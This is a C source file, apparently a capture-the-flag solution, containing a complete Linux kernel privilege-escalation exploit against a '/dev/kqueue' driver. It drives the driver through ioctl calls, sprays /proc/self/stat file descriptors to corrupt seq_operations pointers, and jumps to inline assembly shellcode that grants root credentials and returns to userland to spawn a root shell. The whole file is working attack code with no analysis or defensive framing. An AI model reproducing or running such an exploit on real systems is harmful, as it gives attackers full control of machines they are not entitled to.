1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102
| #include "kernel.h"
#define CREATE_KQUEUE 0xDEADC0DE #define EDIT_KQUEUE 0xDAADEEEE #define DELETE_KQUEUE 0xBADDCAFE #define SAVE 0xB105BABE
size_t root_rip;
struct queue_entry{ uint16_t idx; char *data; struct queue_entry *next; };
typedef struct{ uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char* data; }request_t;
void create(int fd, uint32_t max_entries, uint16_t data_size) { request_t rq = { .max_entries = max_entries, .data_size = data_size, }; ioctl(fd, CREATE_KQUEUE, &rq); }
void edit(int fd, uint16_t entry_idx, uint16_t queue_idx, char *data) { request_t rq = { .entry_idx = entry_idx, .queue_idx = queue_idx, .data = data, }; ioctl(fd, EDIT_KQUEUE, &rq); }
void save(int fd, uint32_t max_entries, uint16_t data_size, uint16_t queue_idx) { request_t rq = { .max_entries = max_entries, .data_size = data_size, .queue_idx = queue_idx, }; ioctl(fd, SAVE, &rq); }
void shellcode(void) { __asm__( "mov r12, [rsp + 0x8];" "sub r12, 0x201179;" "mov r13, r12;" "add r12, 0x8c580;" "add r13, 0x8c140;" "xor rdi, rdi;" "call r12;" "mov rdi, rax;" "call r13;" "swapgs;" "mov r14, user_ss;" "push r14;" "mov r14, user_sp;" "push r14;" "mov r14, user_rflags;" "push r14;" "mov r14, user_cs;" "push r14;" "mov r14, root_rip;" "push r14;" "iretq;" ); }
int main() { root_rip = (size_t)get_root_shell; save_status(); user_sp += 8; bindCore(0); int fd = open("/dev/kqueue", O_RDONLY); create(fd, 0xffffffff, 0x30); size_t fake_data[] = {0, 0, 0, 0, shellcode, shellcode}; edit(fd, 0, 0, fake_data); int seq_fd[0x200]; for(int i = 0; i < 0x200; i++) { seq_fd[i] = open("/proc/self/stat", O_RDONLY); if(seq_fd[i] < 0) fail_print("Open Fail!"); } save(fd, 0, 0x30, 0); char buf[0x10]; for(int i = 0; i < 0x200; i++) read(seq_fd[i], buf, 0x10); return 0; }
|